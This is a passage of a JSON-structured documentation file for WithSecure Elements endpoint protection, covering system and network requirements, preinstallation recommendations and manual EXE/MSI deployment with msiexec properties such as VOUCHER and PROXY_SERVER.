", "choice.choice_sysreqs_000069_474659C3": "AlmaLinux 8, 9, 10", "choice.choice_sysreqs_00006A_274CC22B": "Amazon Linux 2, 2023", "choice.choice_sysreqs_00006B_316A000E": "Debian 11, 12, 13", "choice.choice_sysreqs_00006C_4494A93B": "Oracle Linux 8, 9, 10", "choice.choice_sysreqs_00006D_39D24647": "RHEL 8, 9, 10", "choice.choice_sysreqs_00006E_682BEBCA": "Rocky Linux 8, 9, 10", "choice.choice_sysreqs_00006F_4E9F447E": "SUSE Linux Enterprise Server 15 (Service Pack 6)", "choice.choice_sysreqs_000070_B2161434": "Ubuntu 20.04, 22.04, 24.04", "content.note_sysreqs_000071_530B133E": "Note: Operating systems using kernels that are older than version 3.16 must have the audit package installed. We recommend that you run a kernel version 5.10 or higher for better detection capabilities and performance improvements.
", "content.dd_p_sysreqs_000072_404E0097": "The following 64-bit (ARMv8/AArch64) distributions are supported:
", "choice.choice_sysreqs_000074_C79DF560": "AlmaLinux 9, 10", "choice.choice_sysreqs_000075_85662009": "Amazon Linux 2023", "choice.choice_sysreqs_000076_70B98A1D": "Debian 11, 12, 13", "choice.choice_sysreqs_000077_E35D158E": "Oracle Linux 9, 10", "choice.choice_sysreqs_000078_A8A3F3A9": "RHEL 9, 10", "choice.choice_sysreqs_000079_6CC8559D": "Rocky 9, 10", "choice.choice_sysreqs_00007A_CD621A8C": "Ubuntu 22.04, 24.04", "content.p_sysreqs_0000EE_DBC22D0A": "", "content.dt_sysreqs_00007B_98D046FE": "Supported languages", "content.dd_sysreqs_00007C_7A0E21C6": "English, Czech, Danish, Dutch, Estonian, Finnish, French, French (Canadian), German, Greek, Hungarian, Italian, Japanese, Norwegian, Polish, Portuguese, Portuguese (Brazilian), Romanian, Russian, Slovenian, Spanish, Spanish (Latin America), Swedish, Turkish, Traditional Chinese (Hong Kong), Traditional Chinese (Taiwan), and Simplified Chinese (PRC).", "content.dt_sysreqs_00007E_42804CD8": "Network requirements", "content.dd_sysreqs_00007F_853DF2E4": "", "content.dd_title_sysreqs_000080_7883AC29": "Network addresses and ports", "cell.entry_sysreqs_000089_E2ACDC5A": "Service address", "cell.entry_sysreqs_00008A_6B00F98E": "Protocol", "cell.entry_sysreqs_00008B_8DD61802": "Port", "cell.entry_sysreqs_00008C_D4911039": "Region", "cell.entry_sysreqs_00008D_B8FDA9CF": "Purpose", "cell.entry_sysreqs_000090_8223F9BD": "*.fsapi.com", "cell.entry_sysreqs_000092_246BA9EF": "HTTPS", "cell.entry_sysreqs_000093_2838FF47": "443", "cell.entry_sysreqs_000094_549E583E": "All", "cell.entry_sysreqs_000095_AE6E11B8": "Used for various services", "cell.entry_sysreqs_000097_285918E4": "ew1-fsdiag-upload.s3.eu-west-1.amazonaws.com", "cell.entry_sysreqs_000099_2E0A560F": "HTTPS", "cell.entry_sysreqs_00009A_356F89D3": "443", "cell.entry_sysreqs_00009B_FFF63EA9": "EMEA", "cell.entry_sysreqs_00009C_C95C1345": "Remote wsdiag upload server", "cell.entry_sysreqs_00009E_15886072": "ac3ujg1ortm4c-ats.iot.eu-west-1.amazonaws.com", "cell.entry_sysreqs_0000A0_A5CA76BC": "HTTPS", "cell.entry_sysreqs_0000A1_39F95D9D": "443/8883", "cell.entry_sysreqs_0000A2_47D85E0D": "EMEA", "cell.entry_sysreqs_0000A3_EAB33E04": "Response servers", "cell.entry_sysreqs_0000A5_02199313": "c3hquxgihnj763.credentials.iot.eu-west-1.amazonaws.com", "cell.entry_sysreqs_0000A7_CBD4FE4F": "HTTPS", "cell.entry_sysreqs_0000A8_E55AE7C7": "443", "cell.entry_sysreqs_0000A9_8767E12F": "EMEA", "cell.entry_sysreqs_0000AA_F44AC5B8": "Response servers", "cell.entry_sysreqs_0000AC_E7818DCF": "ew1-famp-prd-system-transfer.s3.eu-west-1.amazonaws.com", "cell.entry_sysreqs_0000AE_FF8C3D07": "HTTPS", "cell.entry_sysreqs_0000AF_6241A251": "443", "cell.entry_sysreqs_0000B0_5D5D7660": "EMEA", "cell.entry_sysreqs_0000B1_23161E77": "Response servers", "cell.entry_sysreqs_0000B3_A0944C6D": "ue1-fsdiag-upload.s3.amazonaws.com", "cell.entry_sysreqs_0000B5_137A803A": "HTTPS", "cell.entry_sysreqs_0000B6_9DA1CFAA": "443", "cell.entry_sysreqs_0000B7_C4FC88A5": "AMER", "cell.entry_sysreqs_0000B8_954713C8": "Remote wsdiag upload server", "cell.entry_sysreqs_0000BA_272CF42F": "ac3ujg1ortm4c-ats.iot.us-east-1.amazonaws.com", "cell.entry_sysreqs_0000BC_EE7FCFA7": "HTTPS", "cell.entry_sysreqs_0000BD_ACCA5509": "443/8883", "cell.entry_sysreqs_0000BE_17455D46": "AMER", "cell.entry_sysreqs_0000BF_157C3FC7": "Response servers", "cell.entry_sysreqs_0000C1_034B294A": "c3hquxgihnj763.credentials.iot.us-east-1.amazonaws.com", "cell.entry_sysreqs_0000C3_5015F38E": "HTTPS", "cell.entry_sysreqs_0000C4_70F2AE65": "443", "cell.entry_sysreqs_0000C5_3D9D6259": "AMER", "cell.entry_sysreqs_0000C6_CB18423B": "Response servers", "cell.entry_sysreqs_0000C8_E8BBA45E": "ew1-famp-prd-system-transfer.s3.us-east-1.amazonaws.com", "cell.entry_sysreqs_0000CA_D1EEE458": "HTTPS", "cell.entry_sysreqs_0000CB_08C94086": "443", "cell.entry_sysreqs_0000CC_2EF50400": "AMER", "cell.entry_sysreqs_0000CD_FDEE439B": "Response servers", "cell.entry_sysreqs_0000CF_3B876999": "ane1-fsdiag-upload.s3.ap-northeast-1.amazonaws.com", "cell.entry_sysreqs_0000D1_5061C77E": "HTTPS", "cell.entry_sysreqs_0000D2_0BD84BD2": "443", "cell.entry_sysreqs_0000D3_D040E837": "APAC", "cell.entry_sysreqs_0000D4_827EC869": "Remote wsdiag upload server", "cell.entry_sysreqs_0000D6_543A15A0": "ac3ujg1ortm4c-ats.iot.ap-northeast-1.amazonaws.com", "cell.entry_sysreqs_0000D8_8A9AB5E0": "HTTPS", "cell.entry_sysreqs_0000D9_111952BD": "443/8883", "cell.entry_sysreqs_0000DA_9EB9727C": "APAC", "cell.entry_sysreqs_0000DB_26BC30DB": "Response servers", "cell.entry_sysreqs_0000DD_04B97742": "c3hquxgihnj763.credentials.iot.ap-northeast-1.amazonaws.com", "cell.entry_sysreqs_0000DF_8A4A4FEA": "HTTPS", "cell.entry_sysreqs_0000E0_DF610439": "443", "cell.entry_sysreqs_0000E1_A79F7613": "APAC", "cell.entry_sysreqs_0000E2_5BD18D67": "Response servers", "cell.entry_sysreqs_0000E4_4AC91A6A": "ew1-famp-prd-system-transfer.s3.ap-northeast-1.amazonaws.com", "cell.entry_sysreqs_0000E6_A9370900": "HTTPS", "cell.entry_sysreqs_0000E7_88BBB827": "443", "cell.entry_sysreqs_0000E8_E68BBE30": "APAC", "cell.entry_sysreqs_0000E9_1440B4C0": "Response servers", "desc": [ { "dl.dl_sysreqs_000011_45EF9996": [ { "dlentry.supported-browsers": [ "content.dt_sysreqs_000012_0465F11E", "content.dd_sysreqs_000013_981956B8", { "choices.ul_sysreqs_000016_529043B5": [ "choice.choice_sysreqs_000017_F952460A", "choice.choice_sysreqs_000018_44DAE4A8", "choice.choice_sysreqs_000019_4C60E4FE", "choice.choice_sysreqs_00001A_2ED6A875" ] } ] }, { "dlentry.supported-operating-systems": [ "content.dt_sysreqs_00001B_48F24BF4", "content.dd_sysreqs_00001C_4045734B", "content.note_sysreqs_00001D_9298B036", { "dl.dl_sysreqs_000021_8D849CE8": [ { "dlentry.dlentry_sysreqs_000022_DD736E83": [ "content.dt_sysreqs_000023_4CBFFF7F", "content.dd_sysreqs_000024_A45FA00F", { "choices.ul_sysreqs_000025_F6F1F47B": [ "choice.choice_sysreqs_000026_F32E36AB" ] }, "content.note_sysreqs_000027_CE04D20B", "content.note_sysreqs_000028_A598578F", "content.p_sysreqs_0000EA_FFAE7B48" ] }, { "dlentry.dlentry_sysreqs_00002A_6161F9C6": [ "content.dt_sysreqs_00002B_53A0C225", "content.dd_sysreqs_00002C_1AFC54FB", { "choices.ul_sysreqs_00002D_42E1A14B": [ "choice.choice_sysreqs_00002E_BCC08CBD", "choice.choice_sysreqs_000030_BABF1389", "choice.choice_sysreqs_000032_4A9D52C8", "choice.choice_sysreqs_000034_AE2E9D89", "choice.choice_sysreqs_000036_4F40C329", "choice.choice_sysreqs_000038_09C42ED4", "choice.choice_sysreqs_00003A_EC5F2EFC", "choice.choice_sysreqs_00003C_4CC75074", "choice.choice_sysreqs_00003E_8D59E56E", "choice.choice_sysreqs_000040_A6C15185", "choice.choice_sysreqs_000042_3CEFB5B6", "choice.choice_sysreqs_000044_B7A01665", "choice.choice_sysreqs_000046_5DABD53F", "choice.choice_sysreqs_000048_647EFEBC", "choice.choice_sysreqs_00004A_6A812B69" ] }, "content.note_sysreqs_00004C_52CA986A", "content.p_sysreqs_0000EB_243604A4", "content.dd_sysreqs_00004D_0B4CB7F1", "content.dd_p_sysreqs_00004E_E5AC7FA1", { "choices.ul_sysreqs_00004F_E62E746F": [ "choice.choice_sysreqs_000050_37B2419A", "choice.choice_sysreqs_000051_574FFBF5", "choice.choice_sysreqs_000052_60A9CD8A", "choice.choice_sysreqs_000053_9D1DE7C9" ] }, "content.p_sysreqs_0000EC_73F72E10", "content.note_sysreqs_000054_61E24383", "content.p_sysreqs_0000ED_D15D8548" ] }, { "dlentry.dlentry_sysreqs_00005B_45659D5A": [ "content.dt_sysreqs_00005C_63F2943A", "content.dd_sysreqs_00005D_18BCCDF8", "content.note_sysreqs_00005E_82E55332", { "choices.ul_sysreqs_00005F_D3667DC2": [ "choice.choice_sysreqs_000060_7AB3BAD6", "choice.choice_sysreqs_000061_78B2619F", "choice.choice_sysreqs_000062_0CD662E2" ] } ] }, { "dlentry.dlentry_sysreqs_000063_3D2617D2": [ "content.dt_sysreqs_000064_D7263684", "content.dd_sysreqs_000065_8F094E31", "content.note_sysreqs_000066_E7603C11", "content.dd_p_sysreqs_000067_3C5409E6", { "choices.ul_sysreqs_000068_8E4FF1BA": [ "choice.choice_sysreqs_000069_474659C3", "choice.choice_sysreqs_00006A_274CC22B", "choice.choice_sysreqs_00006B_316A000E", "choice.choice_sysreqs_00006C_4494A93B", "choice.choice_sysreqs_00006D_39D24647", "choice.choice_sysreqs_00006E_682BEBCA", "choice.choice_sysreqs_00006F_4E9F447E", "choice.choice_sysreqs_000070_B2161434" ] }, "content.note_sysreqs_000071_530B133E", "content.dd_p_sysreqs_000072_404E0097", { "choices.ul_sysreqs_000073_0DCA0AC2": [ "choice.choice_sysreqs_000074_C79DF560", "choice.choice_sysreqs_000075_85662009", "choice.choice_sysreqs_000076_70B98A1D", "choice.choice_sysreqs_000077_E35D158E", "choice.choice_sysreqs_000078_A8A3F3A9", "choice.choice_sysreqs_000079_6CC8559D", "choice.choice_sysreqs_00007A_CD621A8C" ] }, "content.p_sysreqs_0000EE_DBC22D0A" ] } ] } ] }, { "dlentry.supported-languages": [ "content.dt_sysreqs_00007B_98D046FE", "content.dd_sysreqs_00007C_7A0E21C6" ] }, { "dlentry.network-requirements": [ "content.dt_sysreqs_00007E_42804CD8", "content.dd_sysreqs_00007F_853DF2E4", "content.dd_title_sysreqs_000080_7883AC29", { "table.table_network-addresses-and-ports": [ { "thead.thead_sysreqs_000087_9CE4E1DA": [ "cell.entry_sysreqs_000089_E2ACDC5A", "cell.entry_sysreqs_00008A_6B00F98E", "cell.entry_sysreqs_00008B_8DD61802", "cell.entry_sysreqs_00008C_D4911039", "cell.entry_sysreqs_00008D_B8FDA9CF" ] }, { "row.row_sysreqs_00008F_F8102BFE": [ "cell.entry_sysreqs_000090_8223F9BD", "cell.entry_sysreqs_000092_246BA9EF", "cell.entry_sysreqs_000093_2838FF47", "cell.entry_sysreqs_000094_549E583E", "cell.entry_sysreqs_000095_AE6E11B8" ] }, { "row.row_sysreqs_000096_238E9F86": [ "cell.entry_sysreqs_000097_285918E4", "cell.entry_sysreqs_000099_2E0A560F", "cell.entry_sysreqs_00009A_356F89D3", "cell.entry_sysreqs_00009B_FFF63EA9", "cell.entry_sysreqs_00009C_C95C1345" ] }, { "row.row_sysreqs_00009D_9859AEAE": [ "cell.entry_sysreqs_00009E_15886072", "cell.entry_sysreqs_0000A0_A5CA76BC", "cell.entry_sysreqs_0000A1_39F95D9D", "cell.entry_sysreqs_0000A2_47D85E0D", "cell.entry_sysreqs_0000A3_EAB33E04" ] }, { "row.row_sysreqs_0000A4_B16686FA": [ "cell.entry_sysreqs_0000A5_02199313", "cell.entry_sysreqs_0000A7_CBD4FE4F", "cell.entry_sysreqs_0000A8_E55AE7C7", "cell.entry_sysreqs_0000A9_8767E12F", "cell.entry_sysreqs_0000AA_F44AC5B8" ] }, { "row.row_sysreqs_0000AB_8936E0E0": [ "cell.entry_sysreqs_0000AC_E7818DCF", "cell.entry_sysreqs_0000AE_FF8C3D07", "cell.entry_sysreqs_0000AF_6241A251", "cell.entry_sysreqs_0000B0_5D5D7660", "cell.entry_sysreqs_0000B1_23161E77" ] }, { "row.row_sysreqs_0000B2_CCF869AA": [ "cell.entry_sysreqs_0000B3_A0944C6D", "cell.entry_sysreqs_0000B5_137A803A", "cell.entry_sysreqs_0000B6_9DA1CFAA", "cell.entry_sysreqs_0000B7_C4FC88A5", "cell.entry_sysreqs_0000B8_954713C8" ] }, { "row.row_sysreqs_0000B9_215EB6DB": [ "cell.entry_sysreqs_0000BA_272CF42F", "cell.entry_sysreqs_0000BC_EE7FCFA7", "cell.entry_sysreqs_0000BD_ACCA5509", "cell.entry_sysreqs_0000BE_17455D46", "cell.entry_sysreqs_0000BF_157C3FC7" ] }, { "row.row_sysreqs_0000C0_07A317E8": [ "cell.entry_sysreqs_0000C1_034B294A", "cell.entry_sysreqs_0000C3_5015F38E", "cell.entry_sysreqs_0000C4_70F2AE65", "cell.entry_sysreqs_0000C5_3D9D6259", "cell.entry_sysreqs_0000C6_CB18423B" ] }, { "row.row_sysreqs_0000C7_60F3F193": [ "cell.entry_sysreqs_0000C8_E8BBA45E", "cell.entry_sysreqs_0000CA_D1EEE458", "cell.entry_sysreqs_0000CB_08C94086", "cell.entry_sysreqs_0000CC_2EF50400", "cell.entry_sysreqs_0000CD_FDEE439B" ] }, { "row.row_sysreqs_0000CE_7628866D": [ "cell.entry_sysreqs_0000CF_3B876999", "cell.entry_sysreqs_0000D1_5061C77E", "cell.entry_sysreqs_0000D2_0BD84BD2", "cell.entry_sysreqs_0000D3_D040E837", "cell.entry_sysreqs_0000D4_827EC869" ] }, { "row.row_sysreqs_0000D5_9F684DA8": [ "cell.entry_sysreqs_0000D6_543A15A0", "cell.entry_sysreqs_0000D8_8A9AB5E0", "cell.entry_sysreqs_0000D9_111952BD", "cell.entry_sysreqs_0000DA_9EB9727C", "cell.entry_sysreqs_0000DB_26BC30DB" ] }, { "row.row_sysreqs_0000DC_81724F00": [ "cell.entry_sysreqs_0000DD_04B97742", "cell.entry_sysreqs_0000DF_8A4A4FEA", "cell.entry_sysreqs_0000E0_DF610439", "cell.entry_sysreqs_0000E1_A79F7613", "cell.entry_sysreqs_0000E2_5BD18D67" ] }, { "row.row_sysreqs_0000E3_8BD16F63": [ "cell.entry_sysreqs_0000E4_4AC91A6A", "cell.entry_sysreqs_0000E6_A9370900", "cell.entry_sysreqs_0000E7_88BBB827", "cell.entry_sysreqs_0000E8_E68BBE30", "cell.entry_sysreqs_0000E9_1440B4C0" ] } ] } ] } ] } ] }, "preinstallation_recommendations-latest-en.json": { "title": "title_preinstallation_recommen_0A634", "title_preinstallation_recommen_0A634": "Preinstallation recommendations", "shortdesc": "shortdesc_preinstallation_recommen_09FD4", "shortdesc_preinstallation_recommen_09FD4": "For WithSecure Elements Endpoint Detection and Response to give you the best possible Broad Context Detection content, make sure the following recommendations are applied. ", "content.title_preinstallation_recommen_04A1D": "Preinstallation recommendations for Windows", "content.p_preinstallation_recommen_03E8D": "Windows logging.", "step.step_preinstallation_recommen_06819": "The client collects some of its information from the operating system's security logs. Therefore, make sure that a Windows audit policy is configured to generate security log events.", "content.p_preinstallation_recommen_0FDBE": "Windows PowerShell.", "step.step_preinstallation_recommen_0F0E1": "Make sure that PowerShell ScriptBlock logging is not disabled. Turning the feature off limits the detection capabilities.", "content.title_preinstallation_recommen_08CAE": "Preinstallation recommendations for Linux", "content.p_preinstallation_recommen_04966": "If you are using Linux kernel version 3.16 or older, check that auditd is installed and configured correctly. The default auditd rules can affect the sensor's performance. If your kernel is older than version 5.10 and you are using auditd, remove the -a task, never rule to avoid potential issues.", "content.p_preinstallation_recommen_0DEF8": "We recommend using Linux kernel 5.10 or newer for better detection and improved performance.", "desc": [ "content.title_preinstallation_recommen_04A1D", "content.p_preinstallation_recommen_03E8D", { "steps.ul_preinstallation_recommen_09779": [ "step.step_preinstallation_recommen_06819" ] }, "content.p_preinstallation_recommen_0FDBE", { "steps.ul_preinstallation_recommen_0583C": [ "step.step_preinstallation_recommen_0F0E1" ] }, "content.title_preinstallation_recommen_08CAE", "content.p_preinstallation_recommen_04966", "content.p_preinstallation_recommen_0DEF8" ] }, "deployment_windows-latest-en.json": { "title": "title_deployment_windows_000001_D606", "title_deployment_windows_000001_D606": "Deployment methods for Windows", "shortdesc": "shortdesc_deployment_windows_000002_1B54", "shortdesc_deployment_windows_000002_1B54": "Ways to distribute and install WithSecure Elements Endpoint Protection on Windows devices.", "content.p_deployment_windows_000014_687E": "For a single device or a small environment, choose one of these methods:", "step.step_deployment_windows_000016_76FC": "An administrator downloads an EXE installer or MSI package from WithSecure Elements Security Center and runs it on the device.", "step.step_deployment_windows_000018_227E": "An administrator invites the user by email. The user receives a link to download and install the agent.", "content.p_deployment_windows_000019_E73C": "For larger or fully automated deployments, the topics that follow describe how to install the product across many devices using Group Policy (GPO), Microsoft Configuration Manager (SCCM), Microsoft Intune, or other enterprise tools.", "desc": [ "content.p_deployment_windows_000014_687E", { "steps.ul_deployment_windows_000015_8E95": [ "step.step_deployment_windows_000016_76FC", "step.step_deployment_windows_000018_227E" ] }, "content.p_deployment_windows_000019_E73C" ] }, "manual_deployment_using_exe-latest-en.json": { "title": "title_manual_deployment_using__04E65", "title_manual_deployment_using__04E65": "Deploy manually using an EXE file", "shortdesc": "shortdesc_manual_deployment_using__0A6BC", "shortdesc_manual_deployment_using__0A6BC": "This deployment method is suitable for small environments where users are allowed to see the subscription key. ", "content.p_manual_deployment_using__056A0": "You must have administrator rights on the device.", "content.p_manual_deployment_using__07C6E": "Using this deployment method, you download the installer file, install the product, and then manually enter the subscription key.", "content.p_manual_deployment_using__0C5FD": "To install the product:", "content.note_manual_deployment_using__00592": "Note: Alternatively, you can download the installation file without logging in by selecting the Downloads link on the login page. You need to have a subscription key for the product.", "step.step_manual_deployment_using__0DF70": "Log in to WithSecure Elements Security Center.", "content.p_manual_deployment_using__0E198": "The Downloads page opens.", "step.step_manual_deployment_using__06BFB": "Under Management, select Downloads on the sidebar.", "content.note_manual_deployment_using__0E1E0": "Note: The EXE file includes the subscription key.", "content.p_manual_deployment_using__03773": "The Download installer page opens.", "step.step_manual_deployment_using__02362": "Under the product that you want to download, select EXE.", "content.p_manual_deployment_using__011DF": "The installation file is downloaded.", "step.step_manual_deployment_using__09EE4": "First select a company, then select a product with a subscription key, and then select Download.", "content.p_manual_deployment_using__0EC7B": "To use command-line parameters, start the installation with the command line command: installer_AB12-CD34-EF56-GH78_.exe", "content.note_manual_deployment_using__027C8": "Tip: To perform a silent installation (if there is no sidegrade), add the following to the installer file name: --silent. For example, installer_AB12-CD34-EF56-GH78_.exe --silent. To do this, you must have the subscription key added to the installer file name.", "step.step_manual_deployment_using__08159": "Locate the downloaded installation file (.exe) and double-click it to start the installation.", "step.step_manual_deployment_using__04425": "Select the language and restart options that you want to use for installation, and select Next.", "step.step_manual_deployment_using__012DC": "Read the license agreement. To accept the agreement and to continue, click Accept.", "step.step_manual_deployment_using__0540D": "Follow the instructions on the screen.", "desc": [ "content.p_manual_deployment_using__056A0", "content.p_manual_deployment_using__07C6E", "content.p_manual_deployment_using__0C5FD", { "steps.steps_manual_deployment_using__023CD": [ "step.step_manual_deployment_using__0DF70", "content.note_manual_deployment_using__00592", "step.step_manual_deployment_using__06BFB", "content.p_manual_deployment_using__0E198", "step.step_manual_deployment_using__02362", "content.note_manual_deployment_using__0E1E0", "content.p_manual_deployment_using__03773", "step.step_manual_deployment_using__09EE4", "content.p_manual_deployment_using__011DF", "step.step_manual_deployment_using__08159", "content.p_manual_deployment_using__0EC7B", "content.note_manual_deployment_using__027C8", "step.step_manual_deployment_using__04425", "step.step_manual_deployment_using__012DC", "step.step_manual_deployment_using__0540D" ] } ] }, "cp_installation_msi-latest-en.json": { "title": "title_cp_installation_msi_000001D3B3", "title_cp_installation_msi_000001D3B3": "Deploy manually using an MSI file", "shortdesc": "shortdesc_cp_installation_msi_000002619B", "shortdesc_cp_installation_msi_000002619B": "You can install WithSecure Elements EPP for Computers and WithSecure Elements EPP for Servers offline using an MSI file. ", "content.note_cp_installation_msi_0000142C2A": "Note: You can also use an MSI file for other deployment options.", "content.p_cp_installation_msi_0000158D6E": "To install the product:", "content.note_cp_installation_msi_00001BCE8F": "Note: Alternatively, you can download the installation file without logging in by selecting the Downloads link on the login page. You need to have a subscription key for the product.", "step.step_cp_installation_msi_000017BAA7": "Log in to WithSecure Elements Security Center.", "content.p_cp_installation_msi_0000213D67": "The Downloads page opens.", "step.step_cp_installation_msi_00001DDE48": "Under Management, select Downloads on the sidebar.", "content.p_cp_installation_msi_000026A8CC": "The installation file is downloaded.", "step.step_cp_installation_msi_0000233D3B": "Under the product that you want to download, select MSI.", "content.p_cp_installation_msi_00002A0F1D": "To use command-line parameters, start the installation with the command line command: msiexec /i c:\\path\\to\\installer.msi /qn VOUCHER=AB12-CD34-EF56-GH78 LANGUAGE=en", "content.p_cp_installation_msi_00002CC299": "You can set up the product by embedding properties to MSI file or by providing them in command line. .", "content.note_cp_installation_msi_00002E2118": "Note: Creating a new MSI file while embedding properties to MSI file invalidates the digital signature.", "step.step_cp_installation_msi_000027D33E": "Locate the downloaded installation file (.msi) and double-click it to start the installation.", "desc": [ "content.note_cp_installation_msi_0000142C2A", "content.p_cp_installation_msi_0000158D6E", { "steps.steps_cp_installation_msi_000016C8F9": [ "step.step_cp_installation_msi_000017BAA7", "content.note_cp_installation_msi_00001BCE8F", "step.step_cp_installation_msi_00001DDE48", "content.p_cp_installation_msi_0000213D67", "step.step_cp_installation_msi_0000233D3B", "content.p_cp_installation_msi_000026A8CC", "step.step_cp_installation_msi_000027D33E", "content.p_cp_installation_msi_00002A0F1D", "content.p_cp_installation_msi_00002CC299", "content.note_cp_installation_msi_00002E2118" ] } ] }, "concept_zh2_rfh_4bc-latest-en.json": { "title": "title_msi_properties_000001_4C876A21", "title_msi_properties_000001_4C876A21": "MSI properties", "shortdesc": "shortdesc_msi_properties_000002_1D74DACF", "shortdesc_msi_properties_000002_1D74DACF": "Configure MSI installers for the specific requirements of your environment.", "content.title_msi_properties_000011_8A60BA83": "Using parameters with MSI files", "content.p_msi_properties_000012_95DB9D77": "MSI files are customized installer packages where configurations can be embedded during the packaging. There is a special tool available for customizing those packages, but other solutions are available, too.", "content.p_msi_properties_000013_6B69651E": "There are three different ways arguments can be passed to MSI files:", "choice.choice_msi_properties_000015_845C97BD": "Embedding arguments in a customized MSI file", "choice.choice_msi_properties_000016_3185380D": "Creating a .MST (MSI transformation) file that an MSI file will reference", "choice.choice_msi_properties_000017_39D3F4F8": "Running an MSI file from the command line and passing the arguments to it, for example, as follows: msiexec /i c:\\path\\to\\installer.msi /qn VOUCHER=aaaa-bbbb-cccc-dddd-eeee LANGUAGE=en", "content.p_msi_properties_000019_4F6D9948": "For instructions on how to use the WithSecure MSI transformation tool, see Use the WithSecure MSI transformation tool.", "content.p_msi_properties_00001B_8B3F566A": "When installing the product using an .msi package, you can use the following MSI properties:", "content.dt_msi_properties_00001F_BC98BB85": "PROFILE_ID", "content.dd_msi_properties_000021_F31B1557": "Sets the desired profile ID value. For example: PROFILE_ID=180238. To find your profile ID, open the profile in the profile editor. You can see the profile ID at the top of the page (below the number of the assigned computers and the date of the last edit).", "content.dt_msi_properties_000025_8E57F7E6": "LANGUAGE", "content.p_msi_properties_000028_39487903": "Selects the language used in the installation. The parameter \"id\" must be a valid language identifier in IETF-format.
", "content.p_msi_properties_000029_55883013": "The ID value can be one of the following: en, cs, da, de, el, en, es-MX, es, et, fi, fr-CA, fr, hu, it, ja, ko, nl, no, pl, pt-BR, pt, ro, ru, sl, sv, tr, zh-HK, zh-TW, zh.
", "content.p_msi_properties_00002A_A39DF8F5": "If you use, for example, the installer command without the \"LANGUAGE=<id>\" MSI property, the product detects the language automatically based on the system settings. <br></id>", "content.p_msi_properties_00002B_2A851656": "For example:
", "content.p_msi_properties_00002C_88F9D224": "C:\\Users\\<username>\\Downloads>msiexec /i installer.msi", "content.dt_msi_properties_00002F_E736A127": "VOUCHER", "content.dd_msi_properties_000031_FEA36007": "Sets the subscription key. For example: VOUCHER=aaaa-bbbb-cccc-dddd-eeee", "content.note_msi_properties_000034_4979E886": "Note: Unlike with the EXE installer, one cannot embed a subscription key into MSI package filename.
", "content.p_msi_properties_000071_1CB8AE35": "", "content.dt_msi_properties_000036_DEFFB26D": "PROXY_SERVER", "content.dd_msi_properties_000038_0D7C1724": "All requests are sent through this proxy when products are installed. Example: PROXY_SERVER=http://proxy.local:3128", "content.dt_msi_properties_00003C_CE9DC713": "SIDEGRADE_SKIPLIST ", "content.dd_msi_properties_00003E_E259053D": "To skip removing conflicting products during the installation, specify this property with the value of \"*\". For example: SIDEGRADE_SKIPLIST=*", "content.dt_msi_properties_000042_2EFBABBD": "INSTALLATION_TAGS", "content.p_msi_properties_000045_4238FD1F": "Specify labels to group devices in any way that you prefer. They are commonly used to provide information about the region, operating system, owner, department, workstation vs. server, or any other criteria that suit your needs.
", "content.p_msi_properties_000046_72B70E6A": "For example, INSTALLATION_TAGS=\"PSB=psb-tag1:psb-tag2:psb-tag3,RADAR=radar-tag1:radar-tag2:radar-tag3,department=accounting,role=secretary\"", "content.dt_msi_properties_000049_1655A687": "UNIQUE_SIGNUP_ID=smbios", "content.p_msi_properties_00004C_59FD9B17": "Use SMBIOS GUID as the unique identifier of this device. By default, when you reinstall the product on a device that has not been removed from Elements Security Center, a new identifier is generated. As a result, a duplicate device is created. By using this command-line parameter, you link the reinstalled product to the existing device and prevent a new entry from being created.
", "content.p_msi_properties_00004E_094AF0C0": "", "content.note_msi_properties_00004F_9920F741": "Note: If you use a new subscription key when you reinstall the product, a new device is created in Elements Security Center.
", "content.note_msi_properties_000051_AECB7745": "Note: When you uninstall the product normally, it is automatically removed from Elements Security Center. By using this command-line parameter, you prevent the devices from being automatically removed.
", "content.p_msi_properties_000072_4144C250": "", "content.dt_msi_properties_000054_76A71C22": "UNIQUE_SIGNUP_ID=adguid", "content.dd_msi_properties_000056_977F90E9": "Use Active Directory computer object GUID as the unique identifier of this device. By default, when you reinstall the product on a device that has not been removed from Elements Security Center, a new identifier is generated. As a result, a duplicate device is created. By using this command-line parameter, you link the reinstalled product to the existing device and prevent a new entry from being created.", "content.note_msi_properties_000059_61CCF91A": "Note: If you use a new subscription key when you reinstall the product, a new device is created in Elements Security Center.
", "content.note_msi_properties_00005B_4B9806C8": "Note: When you uninstall the product normally, it is automatically removed from Elements Security Center. By using this command-line parameter, you prevent the devices from being automatically removed.
", "content.p_msi_properties_000073_257E1FD7": "", "content.dt_msi_properties_00005E_DEE788D0": "DISABLE_DEFENDER", "content.dd_msi_properties_000060_581F27D6": "Use the DISABLE_DEFENDER=1 msi property to turn off and uninstall Windows Defender on servers. Windows Servers after version 2016 have Windows Defender but not Security Center, so Windows Defender is not turned off automatically when another security software is installed. Normally, you can use GPO or another standard way to turn Defender off. If you cannot, you can use these installation options instead.", "content.dt_msi_properties_000064_CD074E41": "CONNECTOR_PROXY", "content.dd_msi_properties_000066_87B8BC4C": "Instructs the product to use Connector to minimize the bandwidth usage while downloading the malware signature database and updates for the Software Updater. All requests are also sent through the Connector as the ultimate proxy when products are installed. Example: CONNECTOR_PROXY=http://connector.local:80", "content.dt_msi_properties_00006A_13F5A6E4": "UPGRADE_DELAY_MINUTES", "content.dd_msi_properties_00006C_43CA0E29": "Specifies the number of minutes before a self-upgrade to the latest version is allowed. This option could be useful for deployment scenarios where immediate self-upgrade is not desirable. One known scenario is deployment with Microsoft Intune. For example: UPGRADE_DELAY_MINUTES=5", "content.p_msi_properties_00006F_91787FF6": "In case of a local MSI installation, you can directly pass the needed properties to the command-line: msiexec /i c:\\path\\to\\installer.msi /qn VOUCHER=XXXX-XXXX-XXXX-XXXX-XXXX LANGUAGE=en This syntax is supported also by some remote monitoring and management (RMM) software. When you remotely install via Active Directory Group Policy, you can pass the properties in an MSI Transformation file (.mst) or embed them directly into the MSI package.", "desc": [ "content.title_msi_properties_000011_8A60BA83", "content.p_msi_properties_000012_95DB9D77", "content.p_msi_properties_000013_6B69651E", { "choices.ul_msi_properties_000014_6A1FE785": [ "choice.choice_msi_properties_000015_845C97BD", "choice.choice_msi_properties_000016_3185380D", "choice.choice_msi_properties_000017_39D3F4F8" ] }, "content.p_msi_properties_000019_4F6D9948", "content.p_msi_properties_00001B_8B3F566A", { "dl.dl_msi_properties_00001D_16A2B86D": [ { "dlentry.dlentry_msi_properties_00001E_80D2C1EB": [ "content.dt_msi_properties_00001F_BC98BB85", "content.dd_msi_properties_000021_F31B1557" ] }, { "dlentry.dlentry_msi_properties_000024_47253207": [ "content.dt_msi_properties_000025_8E57F7E6", 